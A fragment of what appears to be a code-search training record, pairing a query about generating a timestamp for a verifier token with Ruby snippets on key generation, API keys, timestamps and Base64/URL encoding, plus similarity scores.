"def generate_api_key(length = 20)\n self.api_secret_key = SecureRandom.hex(length)\n end",
"def generate_key(compressed: true)\n privkey, pubkey = generate_key_pair(compressed: compressed)\n Tapyrus::Key.new(priv_key: privkey, pubkey: pubkey, compressed: compressed)\n end",
"def generate_key_pair(compressed: true)\n with_context do |context|\n ret, tries, max = 0, 0, 20\n while ret != 1\n raise 'secp256k1_ec_seckey_verify in generate_key_pair failed.' if tries >= max\n tries += 1\n priv_key = FFI::MemoryPointer.new(:uchar, 32).put_bytes(0, SecureRandom.random_bytes(32))\n ret = secp256k1_ec_seckey_verify(context, priv_key)\n end\n private_key = priv_key.read_string(32).bth\n [private_key, generate_pubkey_in_context(context, private_key, compressed: compressed)]\n end\n end",
"def make_key t\n (sig_key(t) + sum_key(t))[0..MAX_KEY_SIZE].sub(/\\0+\\z/, \"\")\n end",
"def private_key\n @private_key.to_der\n end",
"def public_key\n Akero.replate(@cert.to_s, Akero::PLATE_CERT)\n end",
"def public_key\n DH.new(to_der)\n end",
"def gen_api_key\n u = UUID.new\n self.api_key = u.generate\n end",
"def generate_key\n self.key ||= SecureRandom.urlsafe_base64 32\n end",
"def generate_key(compressed: true)\n privkey, pubkey = generate_key_pair(compressed: compressed)\n Bitcoin::Key.new(priv_key: privkey, pubkey: pubkey, compressed: compressed)\n end",
"def secret_keygen\n ('k' + Digest.hexencode(rand(9).to_s + self.message[0..2]) + self.id.to_s) \n end",
"def key(length=256,format=:plain)\n key = ::AES::AES.new(\"\").random_key(length)\n case format\n when :base_64\n Base64.encode64(key).chomp\n else\n key\n end\n end",
"def signing_key\n digest = \"SHA256\"\n kDate = OpenSSL::HMAC.digest(digest, \"AWS4\" + credentials.aws_secret, request_datestamp)\n kRegion = OpenSSL::HMAC.digest(digest, kDate, region)\n kService = OpenSSL::HMAC.digest(digest, kRegion, service)\n OpenSSL::HMAC.digest(digest, kService, \"aws4_request\")\n end",
"def full_key\n [name, key].join(\"/\")\n end",
"def generate_key # :nodoc:\n p, g = get_parameters\n\n asn1 = OpenSSL::ASN1::Sequence(\n [\n OpenSSL::ASN1::Integer(p),\n OpenSSL::ASN1::Integer(g)\n ]\n )\n\n dh_params = OpenSSL::PKey::DH.new(asn1.to_der)\n # XXX No private key size check! In theory the latter call should work but fails on OpenSSL 3.0 as\n # dh_paramgen_subprime_len is now reserved for DHX algorithm\n # key = OpenSSL::PKey.generate_key(dh_params, \"dh_paramgen_subprime_len\" => data[:need_bytes]/8)\n if OpenSSL::PKey.respond_to?(:generate_key)\n OpenSSL::PKey.generate_key(dh_params)\n else\n dh_params.generate_key!\n dh_params\n end\n end",
"def derive_key(password, salt:, length:)\n if defined?(OpenSSL::KDF)\n OpenSSL::KDF.pbkdf2_hmac(password, salt: salt, iterations: KDF_ITERATIONS, length: length, hash: HASH_FUNC)\n else\n OpenSSL::PKCS5.pbkdf2_hmac(password, salt, KDF_ITERATIONS, length, HASH_FUNC)\n end\n end",
"def generate_key(salt, key_size = 64)\n OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)\n end",
"def generate_key(salt, key_size = 64)\n OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)\n end",
"def encryption_key\n return @encryption_fu_attrs['-encryption-key-'] if @encryption_fu_attrs['-encryption-key-']\n \n public_key = self.send self.encryption_fu_options[:public_key_field]\n if public_key.blank?\n public_key = self.generate_public_encryption_key\n self.send \"#{self.encryption_fu_options[:public_key_field]}=\".to_sym, public_key\n end\n private_key = self.private_encryption_key\n \n @encryption_fu_attrs['-encryption-key-'] = Digest::SHA256.hexdigest(\"-#{private_key}-#{public_key}-\")\n end",
"def key_from_checksum(password, salt)\n OpenSSL::PKCS5.pbkdf2_hmac(password, salt,\n PBKDF_ITERATIONS, KEY_LENGTH,\n OpenSSL::Digest.new('SHA256'))\n end",
"def generate_api_key\n key = Digest::SHA1.hexdigest(Time.now.to_s + rand(12345678).to_s)[1..10]\n self.api_key = self._id.to_s + key\n end",
"def generate_api_key\n key = Digest::SHA1.hexdigest(Time.now.to_s + rand(12345678).to_s)[1..10]\n self.api_key = self._id.to_s + key\n end",
"def secret_key; end",
"def random_key_gen(key_len = 32, raw = false)\n @master_key = random_bytes key_len\n raw ? @master_key : Base64.strict_encode64(@master_key)\n end",
"def generate_keys(from_wallet_name, master_key)\n ks = { 'master' => master_key }\n %w(recovery money social memo).each do |role|\n private_key = Xgt::Ruby::Auth.generate_wif(from_wallet_name, master_key, 'recovery')\n public_key = Xgt::Ruby::Auth.wif_to_public_key(private_key, @address_prefix)\n ks[\"#{role}_private\"] = private_key\n ks[\"#{role}_public\"] = public_key\n end\n ks['wallet_name'] = Xgt::Ruby::Auth.generate_wallet_name(ks['recovery_public'])\n ks\nend",
"def key\n \"#{@@PREFIX}#{@type}-#{@version.gsub(\".\",\"-\")}\"\n end",
"def gen_key(string_key)\n b_key = self._hash_digest(string_key)\n return self._hash_val(b_key) { |x| x }\n end",
"def private_key!\n if self[:kopal_encoded_private_key].blank?\n regenerate_private_key!\n end\n OpenSSL::PKey::RSA.new Base64::decode64(self[:kopal_encoded_private_key])\n end",
"def privkey(add_compressed_suffix=false)\n compressed_suffix = add_compressed_suffix && compressed ? \"01\" : \"\"\n [key.private_key.to_s(16) + compressed_suffix].pack('H*')\n end",
"def generate_keypair\n key = OpenSSL::PKey::RSA.new 2048\n load_keypair(key.to_pem, key.public_key.to_pem)\n return [@private_key, @public_key]\n end",
"def generate_hashkey_for(params, api_key)\n sorted_params = sort_params(params)\n params_string = concat_params(sorted_params)\n Digest::SHA1.hexdigest \"#{params_string}&#{api_key}\"\n end",
"def generate_key(salt, key_size=64)\n OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)\n end",
"def generate_api_key\n generate_uuid\nend",
"def get_key(key)\n\t\t\tif @prod_env\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_prod\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_prod\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_dev\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def builder_keypair\n if File.exists?(\"#{cluster_data_dir}/builder_key\")\n OpenSSL::PKey::RSA.new(File.read(\"#{cluster_data_dir}/builder_key\"))\n else\n OpenSSL::PKey::RSA.generate(2048)\n end\n end",
"def generate_key(seed)\n key = \"\"\n 1.upto(KEY_LENGTH) do\n key += (((seed = (214013 * seed + 2531011) & 0x7fff_ffff) >> 16) & 0x0FF).chr # deconstructing in IDA showed Microsoft LCG\n end\n return key\nend",
"def generate_key_pair(compressed: true)\n private_key = 1 + SecureRandom.random_number(GROUP.order - 1)\n public_key = GROUP.generator.to_jacobian * private_key\n privkey = ECDSA::Format::IntegerOctetString.encode(private_key, 32)\n pubkey = public_key.to_affine.to_hex(compressed)\n [privkey.bth, pubkey]\n end",
"def key(hash160)\n key = Bitcoin::Key.new\n key.priv = hash160\n key\n end",
"def generate_api_key\n @url = 'https://ericssonbasicapi2.azure-api.net/v1_0/apiuser/' +\n @uuid + '/apikey'\n response = Faraday.post(@url) do |req|\n req.headers['Ocp-Apim-Subscription-Key'] = @key\n end\n\n unless response.status == 201\n raise Momoapi::Error.new(response.body, response.status)\n end\n\n key = JSON.parse(response.body)\n puts \"\\n User ID: #{@uuid} \\n API key: #{key['apiKey']} \\n\\n\"\n end",
"def signing_key\n [percent_encode(@secret), percent_encode(@token)].join('&')\n end",
"def generate_api_key\n self.api_key = SecureRandom.hex(16)\n end",
"def full_key_path\n Pathname.new(spec.key_path).expand_path(@base_dir)\n end",
"def generate_key_pair\n\tg = 2\n\tp = generate_safe_prime(g)\n\td = rand(p)\n\te2 = ModMath.pow(g, d, p)\n\n\tpublic_key = [p, g, e2]\n\tprivate_key = [p, g, d]\n\n\treturn public_key, private_key\nend",
"def hex_key_to_key(pass_phrase)\n key = pass_phrase.scan(/../).map(&:hex)\n klen = key.size\n _key = []\n\n 4.times do |n|\n j = n*4\n value = (key[j] << 24 ) | (((key[j+1])&0xff) << 16) | (((key[j+2])&0xff) << 8) | ((key[j+3])&0xff)\n _key[n] = value\n end\n _key\n end",
"def regenerate_key\n self.private_key = true\n self.save\n end",
"def key(salt = nil)\n salt.nil? && salt = new_salt\n # Profile should raise NotImplementedErrror if unsupported key\n # generation method is used\n if profile.key_gen_method == :pbkdf2\n return p_pbkdf2_key(@passphrase, salt,\n profile.pbkdf2_iterations, profile.key_len)\n end\n end",
"def client_secret\n base = bb.hex\n # base += BIG_PRIME_N * @multiplier\n base -= modpow(GENERATOR, @user.private_key) * multiplier\n base = base % BIG_PRIME_N\n modpow(base, @user.private_key * u.hex + @a)\n end",
"def generate_api_key\n @user.api_key = BCrypt::Engine.generate_salt\n end",
"def gen_key( string )\n md5 = Digest::MD5.hexdigest( string )\n return md5[0, 3] + md5[29, 31]\nend",
"def public_key\n OpenSSL::PKey.read(public_to_der)\n end",
"def public_key\n OpenSSL::PKey.read(public_to_der)\n end",
"def key_generator; end",
"def key_generator; end",
"def generate_key\n proposed_key = nil\n\n loop do\n num_part = rand(10**7).to_s.rjust(7, \"0\")\n proposed_key = \"#{IDB_CONFIG[:key_prefix]}-#{num_part}\"\n break unless self.class.find_by(key: proposed_key)\n end\n proposed_key\n end",
"def full_key(relative_key)\n \"#{@root}/#{relative_key}\"\n end",
"def generate_key\n SecureRandom.hex(32)\nend",
"def public_key\n @public_key.to_der\n end",
"def generate_random_key\n SecureRandom.random_bytes(32)\n end",
"def generate_hash_24 phrase, username\n passphrase_hash = Digest::SHA256.base64digest phrase+username\n key = passphrase_hash[0,24]\n puts 'size in bytes is: ' + key.bytesize.to_s\n return key\n end",
"def make_key(lock, user)\n # sharer_user_id faked\n key = make_guest_key(lock, user.account.email, user)\n return key\n end",
"def new_key(start)\n start = start.to_i\n key = Key.new(start)\n @keys[key.keyid] = key\n key.keyid\n end",
"def generate_data_key\n begin\n\n resp = client.generate_data_key({\n key_id: key_id,\n key_spec: \"AES_256\"\n })\n\n return success_with_data(\n ciphertext_blob: resp.ciphertext_blob,\n plaintext: resp.plaintext\n )\n\n rescue => e\n return exception_with_data(\n e,\n 'a_k_3',\n GlobalConstant::ErrorAction.default,\n {\n purpose: @purpose,\n role: @role\n }\n )\n end\n\n end"
] |
[
"0.64601755",
"0.62765664",
"0.62494075",
"0.6161934",
"0.6121936",
"0.6121936",
"0.6108348",
"0.6108348",
"0.6108348",
"0.6108348",
"0.60910314",
"0.6086225",
"0.6085",
"0.60610837",
"0.605582",
"0.605582",
"0.604447",
"0.6031439",
"0.6028146",
"0.6016201",
"0.5999857",
"0.5997251",
"0.5977361",
"0.5947222",
"0.5945608",
"0.59317774",
"0.5912938",
"0.5909469",
"0.590133",
"0.5891296",
"0.5886803",
"0.5870179",
"0.584978",
"0.584978",
"0.5830601",
"0.582819",
"0.5782367",
"0.5779425",
"0.57789373",
"0.5766649",
"0.5758373",
"0.5757208",
"0.57561076",
"0.57448024",
"0.5743755",
"0.5740652",
"0.5734362",
"0.5727529",
"0.57215416",
"0.5703262",
"0.5684995",
"0.5674933",
"0.5665265",
"0.5654723",
"0.5654036",
"0.5654036",
"0.56486744",
"0.56405777",
"0.5640181",
"0.5640181",
"0.5637149",
"0.5635184",
"0.56191367",
"0.56098425",
"0.559066",
"0.5585345",
"0.5577985",
"0.55688703",
"0.5567939",
"0.5550411",
"0.554188",
"0.5524753",
"0.5519289",
"0.55110735",
"0.5506409",
"0.5499738",
"0.54854596",
"0.5482305",
"0.5471069",
"0.5470898",
"0.5468815",
"0.5462358",
"0.54614466",
"0.5457467",
"0.5452659",
"0.54517436",
"0.5451068",
"0.5449423",
"0.5449423",
"0.5448151",
"0.5448151",
"0.54472524",
"0.544541",
"0.5442443",
"0.54414785",
"0.54392827",
"0.54329586",
"0.5432048",
"0.5431411",
"0.54160476"
] |
0.767483
|
0
|
Generates a timestamp suitable for the application verifier token.
|
def timestamp
Time.now.to_i.to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_timestamp\n Time.now.strftime(\"%Y-%m-%dT%T.%N%:z\")\n end",
"def generate_token\n\t\tUUIDTools::UUID.timestamp_create.to_s\n\tend",
"def generate_token\n self.perishable_token = Digest::MD5.hexdigest(\"#{Time.now}\")\n end",
"def get_token\n ((Time.now.to_f - Time.mktime(2009,\"jan\",1,0,0,0,0).to_f) * 10**6).to_i\n end",
"def now\n generate_otp(timecode(Time.now))\n end",
"def now(padding=false)\n generate_otp(timecode(Time.now), padding)\n end",
"def gen_nonce\n Time.now.utc.to_i.to_s\n end",
"def timestamp() @timestamp ||= Time.now.strftime(\"%Y%m%d%H%M%SZ\") end",
"def generation_time\n Time.at(data.unpack(\"N\")[0]).utc\n end",
"def generation_time\n Time.at(data.unpack(\"N\")[0]).utc\n end",
"def get_timestamp\n timestamp = Time.now.gmtime \n timestamp = timestamp.strftime(\"%a, %d %b %Y %H:%M:%S GMT\")\n timestamp.to_s\n end",
"def timestamp \n\ttime = Time.new\n\t\"#{time.day}/#{time.month}/#{time.year}\"\nend",
"def time_stamp()\n return get INIT_TIME_STAMP_NAME\n end",
"def request_timestamp\n auth_info[\"date\"] || \"\"\n end",
"def verification_token\n JWT.encode({ iat: Time.now.to_i }, config.secret, JWT_ALG)\n end",
"def get_timestamp\n timestamp = Time.now.gmtime\n timestamp = timestamp.strftime(\"%Y-%m-%dT%H:%M:%S.000Z\")\n timestamp.to_s\n end",
"def get_timestamp(time)\r\n srandom_r time\r\n t0 = random_r\r\n t1 = 0x17dc65df;\r\n hi = (t0 * t1) >> 32;\r\n t2 = t0 >> 31;\r\n t3 = hi >> 23;\r\n t3 = t3 - t2;\r\n t4 = t3 * 0x55d4a80;\r\n t0 = t0 - t4;\r\n t0 = t0 + 0x989680;\r\n\r\n ieee754_round(t0)\r\n end",
"def get_time_stamp\n Time.now.strftime('%Y-%m-%d_%H-%M-%S')\n end",
"def create_timestamp(offset: rand(0..(TIMESTAMP_MAX-TIMESTAMP_MIN)))\n Time.at(TIMESTAMP_MIN+offset).strftime('%Y-%m-%d %H:%M:%S')\n end",
"def timestamp\n timestamp_to_datetime(static_data(\"timestamp\"))\n end",
"def timestamp\n DateTime.now.strftime(\"%Y%m%d%H%M%S\")\n end",
"def create_or_renew_token()\n calculate_expiry_time()\n end",
"def request_timestamp\n request_time.strftime(\"%Y%m%dT%H%M%SZ\")\n end",
"def current_timestamp\n Time.now.strftime \"%Y%m%dT%H:%M:%S\"\n end",
"def timestamp\n memoized_info[:local_timestamp]\n end",
"def timestamp\n time_formated = Time.now.to_i.to_s.reverse.chop.chop.chop.reverse.to_i\n return time_formated.to_s\nend",
"def timestamp\n Time.now.utc.to_i\n end",
"def cache_timestamp\n Tml::Utils.interval_timestamp(version_check_interval)\n end",
"def get_timestamp\n Time.now.strftime('%d %B %Y %H:%M')\n end",
"def timestamp\n Time.now.to_s\n end",
"def make_token\r\n # From the restful-authentication plug-in\r\n args = [ Time.now, (1..10).map{ rand.to_s } ]\r\n Digest::SHA1.hexdigest(args.flatten.join('--'))\r\n end",
"def nonce_timestamp(tolerance = 5)\n Time.now.to_i + tolerance\n end",
"def at(time)\n generate_otp(timecode(time))\n end",
"def make_token\n secure_digest(Time.now, (1..10).map{ rand.to_s })\n end",
"def generate_nonce(time = Time.now)\n return Digest::MD5.hexdigest( time )\n end",
"def timestamp\n @now = Vedeu.clock_time\n @time ||= 0.0\n @last ||= @now\n\n unless @last == @time\n @time += (@now - @last).round(4)\n @last = @now\n end\n\n \"[#{format('%7.4f', @time.to_s)}] \".rjust(7)\n end",
"def token(secret, path, timestamp)\n Digest::SHA1.hexdigest(\"#{secret}#{real_path(path)}#{timestamp}\")\n end",
"def auth_token\n curtime = Time.now.utc.strftime '%Y%m%d%H' # yyyymmddhh. hh is 24 hour 0 padded\n token = \"#{@user}-#{@pass}-#{curtime}-#{@service_tag}\"\n puts \"----> Generated auth token: #{token}\"\n Digest::MD5.hexdigest(token).upcase\n end",
"def build_timestamp\n @build_timestamp\n end",
"def generate_security_token\n self.security_token = Digest::SHA1.hexdigest(\"--#{Time.now.to_s}--#{email}--#{salt}--\")\n end",
"def token\n @token ||= \"%x-%s\" % [ Time.now.to_i, SecureRandom::hex(4) ]\n end",
"def timestamp\n _timestamp.as_time\n end",
"def token\n (self.created.to_i.modulo(100000) + self.id).to_s\n end",
"def wsu_timestamp\n security_hash :wsu, \"Timestamp\",\n \"wsu:Created\" => (created_at || Time.now).xs_datetime,\n \"wsu:Expires\" => (expires_at || (created_at || Time.now) + 60).xs_datetime\n end",
"def token\n Digest::MD5.hexdigest(\"#{id}#{created_at}\")\n end",
"def generate_salt\n Digest::SHA1.hexdigest(Time.now.to_f.to_s)\n end",
"def generate_signature\n Digest::MD5.hexdigest(Configuration.hotel_api_key + \n Configuration.hotel_shared_secret + \n Time.now.to_i.to_s)\n end",
"def timestamp; end",
"def timestamp; end",
"def timestamp; end",
"def timestamp; end",
"def timestamp; end",
"def timestamp; end",
"def generate_token\n self.token = secure_digest(Time.now, candidate_id)\n end",
"def create_token_for(app_name)\n timestamp = Time.now.utc.strftime(\"%Y%m%d%H%M%S\")\n display = \"#{app_name}_#{timestamp}\"\n Vault.auth_token.create(name: app_name,\n ttl: '720h',\n display_name: display,\n policies: [app_name])\n end",
"def timestamp\n _timestamp.as_time\n end",
"def build_hash_code\n\t\tSecureRandom.hex(8) + (Time.now.to_f * 1000).to_i.to_s\n\tend",
"def get_timestamp\n Time.now.utc.strftime(\"%b%d%Y\")\nend",
"def calculate_signature api_private_key, rndguid, current_time\n\n # concatenate the random GUID to the end of the timestamp - the result should look like this:\n string_to_sign = current_time + rndguid\n\n # Use the api private key to create a SHA256 hash and Base64 encode the whole thing\n signature = Digest::HMAC.base64digest(string_to_sign, api_private_key, Digest::SHA256)\n\nend",
"def generate_token(auth_token, expire_dt)\n return \"Authentication token required\" if auth_token.nil?\n return \"Expiration date required\" if expire_dt.nil?\n Digest::SHA1.hexdigest([expire_dt, auth_token].join)\n end",
"def now_stamp(now = nil)\n now ||= Time.now\n now.utc.strftime(\"%Y-%m-%dT%H:%M:%S.%6NZ\")\n end",
"def generate_token(client_nonce)\n generation_time = time_to_block(Time.now.to_i)\n encryptor(client_nonce).encode(generation_time, 0)\n end",
"def token_expiration_time\n # Check that user has authenticated\n @local_auth_error = local_auth_error\n return Hash[@error => @local_auth_error] if @local_auth_error\n\n # Return valid date if in test mode\n if @test\n m = MockTimeSync.new\n return m.token_expiration_time\n end\n\n # Decode the token, then get the second dict (payload) from the\n # resulting string. The payload contains the expiration time.\n begin\n decoded_payload = Base64.decode64(@token.split('.')[1])\n rescue\n return Hash[@error => 'improperly encoded token']\n end\n\n # literal_eval the string representation of a dict to convert it to a\n # dict, then get the value at 'exp'. The value at 'exp' is epoch time\n # in ms\n exp_int = JSON.load(decoded_payload)['exp'] # not sure about this\n\n # Convert the epoch time from ms to s\n exp_int /= 1000\n\n # Convert and format the epoch time to ruby datetime.\n exp_datetime = Time.at(exp_int)\n\n exp_datetime\n end",
"def current_timestamp\n Time.now.to_i\n end",
"def timestamp\n\t\tTime.now.to_i\n\tend",
"def timestamp\n date.strftime(\"%Y%m%d%H%M%S\") \n end",
"def make_git_timestamp\n \"#{@env}-deploy-#{Time.now.to_s.gsub(/:/, \"-\").gsub(/\\s/, \"-\").gsub(/--/, \"-\")}\"\n end",
"def generate_timestamp_file(filename)\n now = Time.now.to_i\n output_path = \"#{@archive_root}/#{filename}\"\n File.write(output_path, now)\n end",
"def timestamp\n Time.at((self[:tsh].to_i << 32 | self[:tsl].to_i) * ts_resol)\n end",
"def timestamp\n @timestamp ||= Time.now.xs_datetime\n end",
"def t_stamp\n Time.now.strftime(\"%m-%d_%H-%M-%S\")\nend",
"def timestamp\n Time.at((self.tsh << 32 | self.tsl) * ts_resol)\n end",
"def code\n return \"#{\"%04d\" % @t_year}#{\"%02d\" % @t_month}#{\"%02d\" % @t_day}#{\"%02d\" % @t_hour}#{\"%02d\" % @t_min}#{\"%02d\" % @t_sec}#{\"%05d\" % @t_usec}\"\n end",
"def create_signature(dev_id, api_method, auth_key, formatted_timestamp)\n # ts = Time.at(timestamp).strftime(\"%Y%m%d%H%M%S\")\n raw_sig = \"#{dev_id}#{api_method}#{auth_key}#{formatted_timestamp}\"\n Digest::MD5.hexdigest(raw_sig)\n end",
"def getSignature\n\t time = Time.now.gmtime.to_i.to_s()\n unencryptedSignature = \"#{@apiKey}#{@secretKey}#{time}#{@user}\"\n\t return Digest::MD5.hexdigest(unencryptedSignature + unencryptedSignature.length.to_s())\n\tend",
"def timestamp t\n\n\t\t::Pantheios::Core.timestamp t, nil\n\tend",
"def generate_reference\n \"#{Time.now.strftime('%y%m')}-#{SecureRandom.hex(3).upcase}\"\n end",
"def get_timestamp\n # Appending integer timestamp including second decimals\n now = Time.now.to_f * 10\n return now.round.to_s\n end",
"def timestamp_value\n @timestamp_value ||=\n ((@time_hi_and_version & 0b1111_1111_1111) << 48) |\n (@time_mid << 32) | @time_low\n end",
"def generated_at\n \"Generated at \" + Time.now.strftime(\"[%m/%d/%Y %H:%M:%S]\")\n end",
"def auth_token(expire_time)\n Digest::MD5.hexdigest(\"#{ENV['INCANDESCENT_UID']}-#{expire_time}-#{ENV['INCANDESCENT_API_KEY']}\")\n end",
"def generate_json_web_token(time)\n JWT.encode(\n {\n sub: key_info['oxtrust_client_id'],\n iss: key_info['oxtrust_client_id'],\n exp: time.to_i + 86_400,\n iat: time.to_i,\n jti: SecureRandom.hex(10),\n aud: 'https://localhost/oxauth/restv1/token'\n },\n load_auth_key,\n 'RS256',\n jwt_headers,\n )\n end",
"def set_signature_timestamp\n time = Time.now\n @signed_at = time\n @signed_at_timestamp = TimeFormatting.printable_time time\n @signed_at_timestamp_ms = TimeFormatting.ms_timestamp(time)\n set_document_tag :esigntimestamp, @signed_at_timestamp\n end",
"def make_id\n Time.now.to_f.to_s.ljust(16, '0') + rand(10).to_s\n end",
"def create_time\n Convert.timestamp_to_time @grpc.create_time\n end",
"def create_time\n Convert.timestamp_to_time @grpc.create_time\n end",
"def generate_public_token(auth_token)\n return \"Authentication token required\" if auth_token.nil?\n expire_dt = 1.year.from_now\n Digest::SHA1.hexdigest([expire_dt, auth_token].join)\n end",
"def timestamp(now)\n (now - @start_time) * 1000\n end",
"def asctime() end",
"def get_timestamp(time)\n time.to_i.to_s.ljust 13, '0'\n end",
"def token_and_salt\n today_string = Time.now.to_date.to_s\n return token_with_salt(today_string), today_string\n end",
"def timestamp=(_arg0); end",
"def timestamp=(_arg0); end",
"def timestamp=(_arg0); end",
"def timestamp=(_arg0); end",
"def generate_token\n UUIDTools::UUID.random_create.to_s\n end",
"def timestamp\n oauth_merged_params[:oauth_timestamp]\n end",
"def timestamp\n TimeStamp.new\n end",
"def timestamp\n @java.getTimestamp\n end",
"def new_timestamp_and_uuid()\n u = UUID.timestamp_create()\n [u.hexdigest, u.timestamp]\n end"
] |
[
"0.74981606",
"0.7210176",
"0.7038668",
"0.6940546",
"0.6919247",
"0.6853072",
"0.6769264",
"0.67420995",
"0.6648201",
"0.6648201",
"0.65423214",
"0.6470207",
"0.64544225",
"0.6446803",
"0.6422307",
"0.6418764",
"0.63357973",
"0.63064",
"0.62981343",
"0.6297496",
"0.6279629",
"0.62684876",
"0.62458986",
"0.623783",
"0.6235852",
"0.623052",
"0.62140054",
"0.61906815",
"0.61863786",
"0.6173717",
"0.6152841",
"0.61395836",
"0.61282474",
"0.6126011",
"0.61251825",
"0.61137724",
"0.61082023",
"0.60946",
"0.60921115",
"0.6090299",
"0.6076424",
"0.6073948",
"0.6051037",
"0.60477275",
"0.60352594",
"0.601405",
"0.6011526",
"0.6003237",
"0.6003237",
"0.6003237",
"0.6003237",
"0.6003237",
"0.6003237",
"0.5993486",
"0.5985145",
"0.5978133",
"0.5971815",
"0.5955713",
"0.595348",
"0.59512305",
"0.594771",
"0.5931659",
"0.59315115",
"0.5921511",
"0.59209996",
"0.5917217",
"0.5912254",
"0.59079903",
"0.58985335",
"0.58971286",
"0.589172",
"0.5891064",
"0.5887889",
"0.5885179",
"0.5883435",
"0.5877405",
"0.5877258",
"0.5845113",
"0.5841397",
"0.583663",
"0.5834952",
"0.5831531",
"0.58291143",
"0.5821506",
"0.5816302",
"0.5816302",
"0.5807069",
"0.5806936",
"0.580119",
"0.57944065",
"0.5790796",
"0.5783002",
"0.5783002",
"0.5783002",
"0.5783002",
"0.57733494",
"0.57669467",
"0.5755011",
"0.574916",
"0.574413"
] |
0.6318782
|
17
|
Base64encode and URLescape a string.
|
def e64(s)
return unless s
CGI.escape Base64.encode64(s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def urlsafe_encode64(bin)\n strict_encode64(bin).tr(\"+/\", \"-_\")\n end",
"def encode(string)\n URI.escape(string)\n end",
"def base64_encode(string)\n SSL.base64_encode(string)\n end",
"def base64_encode(string)\n SSL.base64_encode(string)\n end",
"def b64_encode(string)\n Base64.encode64(string).tr(\"\\n=\",'')\n end",
"def base64_encode value\n encoded_str = Base64.urlsafe_encode64 value, padding: false\nend",
"def encode_base64(text)\n Base64.strict_encode64(text).strip\n end",
"def url_encode(string) \r\n encoded_string = ''\r\n string.each_char do |char|\r\n char = (\"%%%02X\" % char.ord) if char.match(/[A-Za-z0-9]/) == nil\r\n encoded_string << char\r\n end\r\n return encoded_string\r\n end",
"def url_encode(string) \r\n encoded_string = ''\r\n string.each_char do |char|\r\n char = (\"%%%02X\" % char.ord) if char.match(/[A-Za-z0-9]/) == nil\r\n encoded_string << char\r\n end\r\n return encoded_string\r\n end",
"def url_encode(string)\n string = CGI.escape string\n end",
"def encode(str)\n @base64 = Base64.encode64(str)\n end",
"def encode\n ::Base64.encode64(@string)\n end",
"def encode_str(str)\n require \"base64\"\n encoded_str=Base64.encode64(str)\n return encoded_str\nend",
"def encode(string)\n Base64.encode64(string).gsub(/\\n/, \"\")\n end",
"def safe_encode(string)\n CGI::escape(string).gsub(/\\+/, '%20')\n end",
"def url_encode(s)\n s.to_s.b.gsub(/[^a-zA-Z0-9_\\-.~]/n) { |m|\n sprintf(\"%%%02X\", m.unpack1(\"C\"))\n }\n end",
"def url_encode(s)\n s.to_s.b.gsub(/[^a-zA-Z0-9_\\-.]/n) { |m|\n sprintf(\"%%%02X\", m.unpack(\"C\")[0])\n }\n end",
"def safe_string(str)\n b64str = Base64.strict_encode64(str)\n \"echo #{b64str} | base64 --decode\"\n end",
"def encodeURI s\n URI.escape s, /[^A-Za-z0-9;,\\/?:@&=+$\\-_.!~*'()#]/\nend",
"def encoded_url\n CGI.escape(url)\n end",
"def url_encode\n Rack::Utils.escape self\n end",
"def encode(string); end",
"def encrypted_and_escaped(string)\n URI.escape(EzCrypto::Key.encrypt_with_password(ContactMail.password, send(:site_salt), string))\n end",
"def pack_urlsafe_base64digest(bin)\n str = pack_base64digest(bin)\n str.tr!('+/'.freeze, '-_'.freeze)\n str.tr!('='.freeze, ''.freeze)\n str\n end",
"def pack_urlsafe_base64digest(bin)\n str = pack_base64digest(bin)\n str.tr!('+/'.freeze, '-_'.freeze)\n str.tr!('='.freeze, ''.freeze)\n str\n end",
"def encode_params_base64(params)\n query = params.map { |(k, v)| \"#{uri_escape(k.to_s)}=#{uri_escape(v.to_s)}\" }.join('&')\n s = Base64.encode64(query)\n s.gsub!(/(\\s|==$)/, '')\n s\n end",
"def uri_escape(input); end",
"def base64(stuff)\n Base64.encode64(stuff).delete(\"\\n\")\n end",
"def url_escape(string)\n return '' if string.blank?\n\n string.gsub(/([^ a-zA-Z0-9_.-]+)/n) do\n '%' + $1.unpack('H2' * $1.size).join('%').upcase\n end.tr(' ', '+')\n end",
"def safe_encode value\n value = URI.encode_www_form_component(value).gsub(/\\+/,'%20').gsub(/\\*/,'%2A').gsub(/%7E/,'~')\n end",
"def uri_escape_key(string)\n if string.nil?\n nil\n else\n CGI.escape(string.encode('UTF-8')).gsub('+', '%20').gsub('%7E', '~').gsub(\"%2F\", \"/\")\n end\n end",
"def encode(value)\n Base64.encode64 value\n end",
"def uri_escape(str)\n str.split(//).map {|c| c.match(URI::UNSAFE) ? sprintf('%%%02x',c.ord).upcase : c }.join\nend",
"def uri_escape(str)\n str.split(//).map {|c| c.match(URI::UNSAFE) ? sprintf('%%%02x',c.ord).upcase : c }.join\nend",
"def encode(string)\n Base32.encode(string).downcase.sub(/=+$/, '')\n end",
"def full_escape str\n str = str.gsub(\"+\",\"%2B\")\n str = ERB::Util.url_encode(str)\n\n if str[0] && str[0] == \".\"\n str = \"%2E\" + str[1..-1]\n end\n\n str\n end",
"def encode_bytes(raw_bytes)\n Base64.urlsafe_encode64(raw_bytes)\n end",
"def strict_encode64(bin)\n return Base64.strict_encode64(bin) if Base64.respond_to? :strict_encode64\n Base64.encode64(bin).tr(\"\\n\",'')\n end",
"def uri_escape(string)\n if string.nil?\n nil\n else\n CGI.escape(string.encode('UTF-8')).gsub('+', '%20').gsub('%7E', '~')\n end\n end",
"def percent_encode(str)\n # Replaced deprecated URI.escape with CGI.escape\n # CGI.escape replaces spaces with \"+\", so we also need to substitute them with \"%20\"\n CGI.escape(str).gsub('+', '%20')\n end",
"def safe_escape(uri); end",
"def base64_url_decode(str)\n str += '=' * (4 - str.length.modulo(4))\n Base64.decode64(str.tr('-_', '+/'))\n end",
